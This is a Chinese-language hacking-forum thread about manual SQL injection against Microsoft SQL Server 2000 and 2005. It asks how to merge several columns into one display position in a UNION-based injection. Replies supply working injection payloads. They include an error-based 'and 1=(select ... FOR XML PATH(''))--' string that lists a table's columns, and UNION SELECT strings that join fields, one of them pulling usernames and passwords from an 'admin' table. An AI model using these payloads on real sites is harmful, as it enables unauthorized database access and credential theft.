查看: 3714|回复: 6

关于手工注入MSSQL,联合查询的问题?

[复制链接]
发表于 2015-11-28 09:36:38 | 显示全部楼层 |阅读模式
MSSQL2000 数据库,在手工注入时,用联合查询,如何将多个字段组合成一列返回到1个显示位上面?
回复

使用道具 举报

发表于 2015-11-28 12:29:58 | 显示全部楼层
坐等大神回复,正好我也学习下
回复 支持 反对

使用道具 举报

发表于 2015-11-28 13:40:57 | 显示全部楼层
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

一次爆指定表的所有列(只限于mssql2005及以上版本):

点评

哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法?  详情 回复 发表于 2015-11-30 18:20
回复 支持 反对

使用道具 举报

发表于 2015-11-29 13:37:31 | 显示全部楼层
坐等大神回复,正好我也学习下
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-11-30 18:20:21 | 显示全部楼层
wuyan 发表于 2015-11-28 13:40
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjec ...

哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法?

点评

2000的暂时不太清楚  详情 回复 发表于 2015-12-1 15:07
回复 支持 反对

使用道具 举报

发表于 2015-12-1 15:07:38 | 显示全部楼层
lyfzxz 发表于 2015-11-30 18:20
哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法? ...

2000的暂时不太清楚
回复 支持 反对

使用道具 举报

发表于 2026-5-20 12:00:00 | 显示全部楼层

Re: 关于手工注入MSSQL,联合查询的问题?

在 MSSQL 2000 中,可以通过字符串拼接将多个字段合并成一个列来适应单个显示位。示例语法如下: ``` ' UNION SELECT NULL,字段A + '|' + 字段B + '|' + 字段C FROM 表名 WHERE ... ``` 注意: - 非字符串类型的字段(如 int、datetime)需要先用 `CONVERT` 或 `CAST` 转换为字符串,例如 `CONVERT(varchar, 字段)`。 - 拼接时建议加入分隔符(如 `'|'`),方便在结果中区分各字段的值。 - 确保 `UNION SELECT` 前后的列数一致,前面用 `NULL` 占位以匹配显示位顺序。 如果某个字段可能为 NULL,需用 `ISNULL` 或 `COALESCE` 处理,避免整个拼接结果变成 NULL: ``` ' UNION SELECT NULL, ISNULL(字段A,'') + '|' + ISNULL(CONVERT(varchar,字段B),'') FROM 表名 ``` 这样就能把多个字段的值合并到一列中显示出来。
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 关于手工注入MSSQL,联合查询的问题?

联合查询时,可以用字符串拼接将多个字段整合成一个字段,比如 `select 1, username + '|' + password from admin`。注意MSSQL2000中拼接用 `+` 号,如果字段是数字需要先用 `CAST` 或 `CONVERT` 转成字符串,遇到 `NULL` 值可以用 `ISNULL` 或 `COALESCE` 处理。这样就能在一个显示位看到多个字段的内容了。
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 关于手工注入MSSQL,联合查询的问题?

在 MSSQL 2000 中,你可以使用 `+` 运算符将多个字段拼接成一个字符串,放到联合查询的返回列中。例如: ```sql SELECT 字段1 + ',' + 字段2 + ',' + 字段3 FROM 表名 ``` 如果某个字段可能为 NULL,建议用 `ISNULL` 或 `COALESCE` 处理,避免整个结果变为 NULL: ```sql SELECT ISNULL(字段1,'') + ',' + ISNULL(字段2,'') + ',' + ISNULL(字段3,'') FROM 表名 ``` 这样就能把多个字段合并为一列,填充到唯一的显示位上了。注意字段的数据类型要兼容(尽量都是字符串),非字符串字段可以先用 `CONVERT` 或 `CAST` 转换。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-23 13:18 , Processed in 0.050773 second(s), 23 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部